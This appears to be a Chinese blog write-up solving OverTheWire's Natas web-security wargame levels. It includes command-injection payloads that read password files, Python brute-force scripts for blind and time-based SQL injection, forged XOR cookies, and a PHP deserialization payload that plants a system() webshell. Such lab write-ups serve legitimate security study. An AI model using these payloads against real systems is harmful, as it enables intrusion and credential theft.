Loading

wargame之Natas解题过程记录

0x00 natas0

http://natas0.natas.labs.overthewire.org/

直接 F12 查看源码,找到密码。

0x01 natas1

http://natas1.natas.labs.overthewire.org/

禁用了右键,直接 F12 查看源码,找到密码。

0x02 natas2

http://natas2.natas.labs.overthewire.org/

查看图片信息,是 1 个像素的图片,可能是密码存储在图片内,下载下来看看。

$ curl -H "Authorization: Basic bmF0YXMyOlpsdXJ1QXRoUWs3UTJNcW1EZVRpVWlqMlp2V3kybUJp" http://natas2.natas.labs.overthewire.org/files/pixel.png -o pixel.png
$ cat pixel.png

使用 exiftool 查看图片信息:

猜测是文件遍历,访问 http://natas2.natas.labs.overthewire.org/files/

打开 users.txt,获得密码。

0x03 natas3

http://natas3.natas.labs.overthewire.org/

直接 F12 查看源码,啥都没有。

看看 robots.txt,有东西。

http://natas3.natas.labs.overthewire.org/robots.txt

访问一下这个目录。

http://natas3.natas.labs.overthewire.org/s3cr3t/

打开 users.txt,获得密码。

0x04 natas4

http://natas4.natas.labs.overthewire.org/

使用 HackBar 修改 HTTP 头。

0x05 natas5

http://natas5.natas.labs.overthewire.org/

提示没有登录,一般登录标识就存放在 Cookie 中,找到 Cookie,名为 loggedin

使用 EditThisCookie 修改 Cookie 值为 1。

刷新页面。

0x06 natas6

http://natas6.natas.labs.overthewire.org/

需要输入一个 secret,点击右下角的 View sourcecode,查看页面源码。

直接访问 includes/secret.inc

回到刚才的页面,输入 secret,成功获取密码。

0x07 natas7

http://natas7.natas.labs.overthewire.org/

查看页面源码,看到注释,很明显是文件包含漏洞,直接包含目标文件。

访问 http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8,获得密码。

0x08 natas8

http://natas8.natas.labs.overthewire.org/

需要输入一个 secret,点击右下角的 View sourcecode,查看页面源码。

从上面的代码可以分析出如下流程。

因此,只需要对 3d3d516343746d4d6d6c315669563362 进行反向操作,即可得到 secret。

回到原来的页面,输入 secret,得到密码。

0x09 natas9

http://natas9.natas.labs.overthewire.org/

点击右下角的 View sourcecode,查看页面源码。

分析源码,可以得知这里有一个命令执行的函数。

passthru("grep -i $key dictionary.txt");

此处的 key 变量是没有过滤的,所以存在命令拼接,导致任意命令执行,我们可以提交 payload 为 aaa dictionary.txt & id & ls .,拼接之后为 grep -i aaa dictionary.txt & id & ls . dictionary.txt

aaa dictionary.txt & find / -name *natas10* & ls .

可以看到搜索到文件 /etc/natas_webpass/natas10,直接 cat 一下查看文件内容。

aaa dictionary.txt & cat /etc/natas_webpass/natas10 & ls .

0x0a natas10

http://natas10.natas.labs.overthewire.org/

查看代码可知,对 ;|& 这三个字符做了过滤,只需要使用 %0a 代替命令分隔符即可。

原始 payload:
aaa dictionary.txt | find / -name *natas11* | ls .
进行 url 编码:
aaa%20dictionary.txt%20%7C%20find%20/%20-name%20*natas11*%20%7C%20ls%20.
将 %7c 替换成 %0a
aaa%20dictionary.txt%20%0a%20find%20/%20-name%20*natas11*%20%0a%20ls%20.
http://natas10.natas.labs.overthewire.org/?needle=aaa%20dictionary.txt%20%20find%20/%20-name%20*natas11*%20%20ls%20.&submit=Search

同理,使用 cat 命令读取文件。

0x0b natas11

http://natas11.natas.labs.overthewire.org/

查看代码。

分析代码可以知道,访问该网页,会设置一个 cookie, cookie 包含两个字段, showpasswordbgcolor,当 cookie 中读取的 showpasswordyes 时会显示出密码。而且 cookie 是经过异或加密的,加密的密钥未提供,需要自行猜解。

// 加密算法,将原文的每一位字符与密钥对应位的字符异或
// 比如原文为 abcde,密钥为 xyz,则 a ^ x b ^ y c ^ z d ^ x e ^ y
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

异或操作有个特性:

x ^ y = z
x = z ^ y

那么对于这个算法,我们可以写一段猜解密钥的代码:

<?php

// {"showpassword":"no","bgcolor":"#ffffff"}
// ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=

$in = "{\"showpassword\":\"no\",\"bgcolor\":\"#ffffff\"}";
$out = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";

function guess_key($in, $out) 
{
    $text = base64_decode($out);
    $outText = "";

    for ($i = 0; $i < strlen($text); $i++) 
    {
        $outText .= $in[$i] ^ $text[$i];
    }
    echo $outText;
}

guess_key($in, $out);


?>

得到一串长度为 41 的字符串,观察可以知道密钥应该是 qw8J

此时再写一段生成 cookie 的代码:

<?php

$payload = "{\"showpassword\":\"yes\",\"bgcolor\":\"#ffffff\"}";

function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

echo base64_encode(xor_encrypt($payload));

?>

ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

使用 EditThisCookie 提交 cookie,得到密码。

0x0c natas12

http://natas12.natas.labs.overthewire.org/

随便上传一个文件,可以看到文件被重命名为 xxx.jpg

查看源码,可以知道, .jpg 后缀是前端代码加的,后端没有对后缀名进行检查,所以只需要抓包修改后缀即可。

使用 BurpSuite 进行抓包,按照图中所示修改请求。

上传成功。

直接访问 WebShell,使用 BurpSuite 发包。

根据之前的经验,密码肯定在 /etc/natas_webpass 目录下。

查看密码。

不知道为什么上传 WebShell 之后,用蚁剑无法连接。

0x0d natas13

http://natas13.natas.labs.overthewire.org/

这个题也是上传题。

直接看源码,多了个 exif 头检查。

BurpSuite 抓包,上传一个 JPG 文件。

修改请求:

  1. 修改文件后缀名为 jpg

  2. 修改文件内容:保留 exif 头,删除文件内容,插入 WebShell 的代码。

上传成功。

直接访问 WebShell,使用 BurpSuite 发包。

根据之前的经验,密码肯定在 /etc/natas_webpass 目录下。

0x0e natas14

http://natas14.natas.labs.overthewire.org/index.php

查看源码,此处存在 SQL 语句拼接,明显存在 SQL 注入。

直接注入。

成功获得密码。

0x0f natas15

http://natas15.natas.labs.overthewire.org/

查看代码可以知道,SQL 查询结果是没有回显的,只有 true 或者 false 的区别,也就是布尔盲注,所以需要通过逻辑来判断。

如图,我们构造了如下 payload,它的作用是判断用户名第一个字符的 ASCII 码是否为 1。

使用 BurpSuiteIntruder 模块遍历一下。

ASCII 码对应
97 -> a
98 -> b
99 -> c
110 -> n
// 也就是说至少存在 4 个用户,第一个字符分别为 a, b, c, n

有一个用户名是 n 开头,所以猜测用户名为 natas16

接下来爆破一下密码长度,得知密码长度为 32。

再次构造 payload 爆破密码:其中第一个 1 的范围是 1 - 32,第二个 1 的范围是 0 - 127( ASCII 码的范围)。

使用 BurpSuite 跑一下。

因为我们用到 right 函数,从右往左截取密码,所以需要反过来拼接,用 python 处理一下。

成功算出密码。

0x10 natas16

http://natas16.natas.labs.overthewire.org/

查看源码,对输入进行了过滤。

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

这里把 ;|&'" 以及反引号,因此无法直接将多个命令串联起来,经过搜索发现 $() 也能执行命令,如 grep -i "$(echo 123)" a.txt 等价于 grep -i "123" a.txt

虽然不能直接输出字符,但可以通过命令拼接字符串,根据网上找到的思路,是找到字典中一个完整的单词( dooming ),通过将密码逐个字符添加到这个单词后面再进行 grep 操作,如果有结果说明运算后的字符串仍然是 dooming

# 假设密码是a12
# 构建基础字典 a-zA-Z0-9
grep a /etc/natas_webpass/natas17    # 输出a
dooming$(grep a /etc/natas_webpass/natas17)    # 结果为doominga
grep -i "doominga" dictionary.txt    # 输出为空,因为字典中不存在这个单词

grep b /etc/natas_webpass/natas17    # 输出为空
dooming$(grep b /etc/natas_webpass/natas17)    # 结果为dooming
grep -i "dooming" dictionary.txt    # 输出为 dooming,因为字典中存在这个单词

# 这样一系列操作下来就可以判断出密码中总共存在哪些字符了

下一步,对密码的每一位进行暴力破解。

# 根据以往的经验,密码长度为 32 位
# 假设上一步中得知密码中所出现的字符为 bcdghkmnqrswAGHNPQSW035789
# 那么我们先猜测第一位是 b
grep ^b /etc/natas_webpass/natas17    # 如果密码是以 b 开头,就会输出 b
# 如果密码是以 b 开头,就会输出 doomingb
dooming$(grep b /etc/natas_webpass/natas17)
# 输出为空
grep -i "doomingb" dictionary.txt
# 以此类推破解每一位的密码

这是 Python 爆破程序:

import string
import requests

h = {
    'Authorization': 'Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==',
    'Content-Type': 'application/x-www-form-urlencoded'
}

dd = string.ascii_letters + '0123456789'
pass_d = ''

# 先遍历出密码中出现的所有字符
for d in dd:
    payload = 'dooming$(grep {} /etc/natas_webpass/natas17)'.format(d)
    r = requests.post(url='http://natas16.natas.labs.overthewire.org/', headers=h, data='needle={}&submit=Search'.format(payload))
    if 'dooming' not in r.text:
        pass_d += d
        print(pass_d)

# 初始化密码为空
passwd = ''

# 逐位爆破密码
for i in range(32):
    for d in pass_d:
        payload = 'dooming$(grep ^{}{} /etc/natas_webpass/natas17)'.format(passwd, d)
        r = requests.post(url='http://natas16.natas.labs.overthewire.org/', headers=h, data='needle={}&submit=Search'.format(payload))
        # 如果响应结果为空,说明 dooming 后面添加了别的字符,也就是密码前缀是正确的
        if 'dooming' not in r.text:
            # 将当前字符拼接到 passwd 后面
            passwd += d
            print(passwd)

运行结果:

0x11 natas17

http://natas17.natas.labs.overthewire.org/

查看源码。

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

好家伙,直接不回显,也就是页面不会有任何区别,那猜测就是延时注入了。

SELECT * from users where username="111111" union select if(ascii(right(password,1))>0, sleep(3), sleep(0)),1 from users where username="natas18"
# 拆解一下 SQL 语句,前半部分很简单
# 后半部分用到了三个函数, ascii,right,sleep
# 意思就是如果密码的最右边一位字符的 ASCII 码大于 0,就睡眠 3 秒
select if(ascii(right(password,1))>0, sleep(3), sleep(0)),1

那么根据请求响应时间就可以判断逻辑是 true 还是 false 了。

同理,逐位破解即可。

下面是 Python 代码:

from numpy import tensordot
import requests
import string
import time

h = {
    'Authorization': 'Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==',
    'Content-Type': 'application/x-www-form-urlencoded'
}

chs = string.ascii_letters + '0123456789'
ascii_arr = [ord(x) for x in chs]

payload = 'username=111111%22%20union%20select%20if(ascii(right(password%2C{}))%3D{}%2C%20sleep(5)%2C%20sleep(0))%2C1%20from%20users%20where%20username%3D%22natas18'

passwd = []
for i in range(1, 33):
    print(i)
    for ascii in ascii_arr:
        time.sleep(1)
        t_start = time.time()
        pl = payload.format(i, ascii)
        r = requests.post(r'http://natas17.natas.labs.overthewire.org/index.php?debug=1', pl, headers=h)
        t_end = time.time()
        print(chr(ascii) + '{}'.format(t_end - t_start))
        if t_end - t_start > 5:
            passwd.append(chr(ascii))
            print(passwd)
            break

passwd.reverse()
print(''.join(passwd))

0x12 natas18

http://natas18.natas.labs.overthewire.org/

这也是代码审计题目,直接看源码。

<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */

// session id 会从这个函数生成
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */

// 这里会对用户权限进行判断,当用户为 admin 权限时,显示出 natas19 的密码
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

可以看到,并没有地方可以对 $_SESSION 进行修改,但是 PHPSESSID 是存储在 Cookie 中的,可以被修改,这就是一个典型的越权漏洞,只需要使用管理员的 Cookie 登录即可。

根据代码可知,PHPSESSID 的范围是 0 到 640,直接用 Burp SuiteIntruder 模块跑一下就可以了。

0x13 natas19

http://natas19.natas.labs.overthewire.org/

题目提示:

此页面使用的代码与上一级别几乎相同,但会话 ID 不再是连续的...

直接登陆一下试试。

发现 PHPSESSID 是一个字符串,格式为 xxxdxxxxx,用一个字符 d 隔开两个数字。

使用用户名 abceeeeeee0abceeeeeee39 进行测试,可以观察出规律:

  • 字符 d 左边的数字是 3xxx2,其中 xxx 随机的

  • 字符 d 右边的数字串是用户名的十六进制 ASCII

所以,管理员的 PHPSESSID 应该是 3xxx2d61646d696e

目测中间的数字没有超过 65535,所以就直接遍历 1-65535

跑出来 PHPSESSID3238312d61646d696e

0x14 natas20

http://natas20.natas.labs.overthewire.org/

查看源码,经过分析,关键函数就是 myread 函数,这里是从会话文件读取用户会话信息的逻辑。

function myread($sid) { 
    debug("MYREAD $sid"); 
    // 字符检查
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    // 判断会话文件是否存在
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    // 读取文件内容
    $data = file_get_contents($filename);
    $_SESSION = array();
    // 会话文件存在多行,逐行读取
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    // 每一行用空格隔开两个字符串
    $parts = explode(" ", $line, 2);
    // 两个字符串分别是 key value
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode();
}

然后我们再看看判断用户权限的逻辑:

function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}

这里会判断用户会话( $_SESSION )是否存在键 admin 且 值为 1,所以根据这两段代码,我们可以猜测,管理员用户的会话文件内容应该是这样的:

name admin
admin 1

那么直接构造 payload 提交即可( %0a 对应换行符 )。

name=test%0aadnmin 1

提交后的结果:

再提交一次。

0x15 natas21

http://natas21.natas.labs.overthewire.org/

这题给了两个页面。

看一下源码。

function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas22\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
    }
}
session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}

很明显,只需要提交 admin=1 就可以修改会话。

然后再带上这个 Cookie 访问原来那个页面就可以获得密码。

0x16 natas22

http://natas22.natas.labs.overthewire.org/

查看源码。

<?
session_start();

if(array_key_exists("revelio", $_GET)) {
    // only admins can reveal the password
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
    header("Location: /");
    }
}
?>


<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head>
<body>
<h1>natas22</h1>
<div id="content">

<?
    if(array_key_exists("revelio", $_GET)) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas23\n";
    print "Password: <censored></pre>";
    }
?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

这里判断一下是否为管理员会话,如果不是管理员就跳转,我们直接 BurpSuite 抓包,不让它跳转就行了。

0x17 natas23

http://natas23.natas.labs.overthewire.org/

查看源码。

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  

strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。

所以字符串跟数字比较时,会将字符串转换成数字再比较,比如 12xxxz > 11 返回为 True1zxx > 2 返回 False

构造 passwd=11iloveyou,提交即可。

0x18 natas24

http://natas24.natas.labs.overthewire.org/

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  

strcmp bypass 方法:

strcmp()在比较字符串和数组的时候直接返回0,这样通过把目标变量设置成数组就可以绕过该函数的限制

直接提交 passwd[]=test,获得密码。

0x19 natas25

http://natas25.natas.labs.overthewire.org/

查看源码。

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }

    // 文件包含
    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }

    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;

        closedir($handle);
        return $listoffiles;
    } 

    // 写日志
    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }

初步判断是一个文件包含漏洞:

  • 可以在日志文件写入 User-Agent

  • 可以通过文件包含把日志文件包含进来

首先我们尝试包含日志文件。看代码可以知道是通过 safeinclude 来进行文件包含的,其中过滤了 ../natas_webpass,但是 ../ 仅仅进行了替换,没有阻断整个包含的流程,所以可以从这里下手:构造 ..././ 进行提交的话,会被替换成 ../

首先通过报错得到当前路径:

http://natas25.natas.labs.overthewire.org/?lang=en%00

对比一下日志的路径:

/var/www/natas/natas25/index.php
/var/www/natas/natas25/logs/natas25_" . session_id() .".log

发现其实日志文件相对于 index.php 的相对路径就是 ./logs/natas25_" . session_id() .".log,但是包含文件的时候会在路径前加上 language/,所以此时我们构造的路径应该是 ../logs/natas25_" . session_id() .".log,再加上我们刚刚构造的绕过方法,最后就是 ..././logs/natas25_" . session_id() .".log

可以看到,日志文件已经包含进来了。

我们再尝试往日志里面写入 WebShell

再重新提交一下。

看到这里报错了,说明我们成功写入了 WebShell,并且被解析执行。

成功读取密码。

0x1a natas26

http://natas26.natas.labs.overthewire.org/

查看源代码,看到一个 Logger 类,同时有对 Cookie 的序列化和反序列化操作,基本可以判断是反序列化漏洞的利用。Logger 类有写文件的操作,可以考虑使用 Logger 类的析构函数写入 WebShell

<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }

    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }

    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){

                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);

                    }
        }    
    }

    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }

        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

在本地新建一个 PHP 文件,用于生成 payload。

<?php

class Logger{
        private $logFile;
    private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
        $this->initMsg='#--session start--#';
            // 修改 exitMsg 为 WebShell
            $this->exitMsg='<?php system($_POST["c"]); ?>#--session end--#';
            // $this->exitMsg='AddType application/x-httpd-php .log';
            // $this->logFile = "/tmp/natas26_" . $file . ".log";
            // 修改 logFile,去掉后缀
            $this->logFile = "/tmp/natas26_" . $file;

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->initMsg);
            fclose($fd);
        }

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }
}

// 创建一个实例,同时指定 WebShell 路径
$log = new Logger("/../../var/www/natas/natas26/img/ssss_ssss.php");
// 序列化并且 base64 编码,将输出结果作为 Cookie提交
echo base64_encode(serialize($log));

提交 payload。

报错了,说明反序列化成功。

访问一下,提交一下命令。

看一下目录。

获得密码。

0x1b natas27

http://natas27.natas.labs.overthewire.org/

查看代码。

// 数据库结构
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

// 检查用户名密码
function checkCredentials($link,$usr,$pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);

    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysql_query($query, $link);
    if(mysql_num_rows($res) > 0){
        return True;
    }
    return False;
}

// 检查用户名是否存在
function validUser($link,$usr){

    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){

    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!  
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);

    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysql_query($query, $link);
    if(mysql_affected_rows() > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas27', '<censored>');
    mysql_select_db('natas27', $link);


    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }        
    } 
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ 
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysql_close($link);
} else {
?>

从代码可以看出:

  • 输入用户名不存在时会直接插入一个新的记录

  • 输入用户名存在时会检查密码是否正确,如果正确就输出用户名和密码信息

  • 用户名和密码都是 varchar(64)

还有一个隐藏的信息点: MySQL 的 varchar 类型对于超出长度的输入会截断,并且会自动去除后面的空格,比如 varchar(5),如果尝试存储 123 xxx,最终结果会变成 123,利用这个特点,如果我们往数据库插入一个用户跟已经存在的用户名相同,就可以读取已存在用户的密码。

根据题目的特点,猜测用户名就是 natas28,直接尝试登录就会报密码错误,所以我们使用上面分析的思路构造 payload。

import requests

h = {
    'Authorization': 'Basic bmF0YXMyNzo1NVRCanBQWlVVSmdWUDViM0JuYkc2T045dURQVnpDSg==',
    'Content-Type': 'application/x-www-form-urlencoded'
}

# 插入一个新的 natas28 用户
data = {
    'username': 'natas28' + (' ' * 100) + 'xxx',
    'password': '123'
}

res = requests.post('http://natas27.natas.labs.overthewire.org/index.php', data=data, headers=h)

print('Wrong password' in res.text)

data = {
    'username': 'natas28',
    'password': '123'
}

res = requests.post('http://natas27.natas.labs.overthewire.org/index.php', data=data, headers=h)

print(re.findall(r'password.*', res.text))

成功获得密码。

0x1c natas28

http://natas28.natas.labs.overthewire.org/

posted @ 2022-02-23 17:26  土豆分米猪  阅读(288)  评论(0编辑  收藏  举报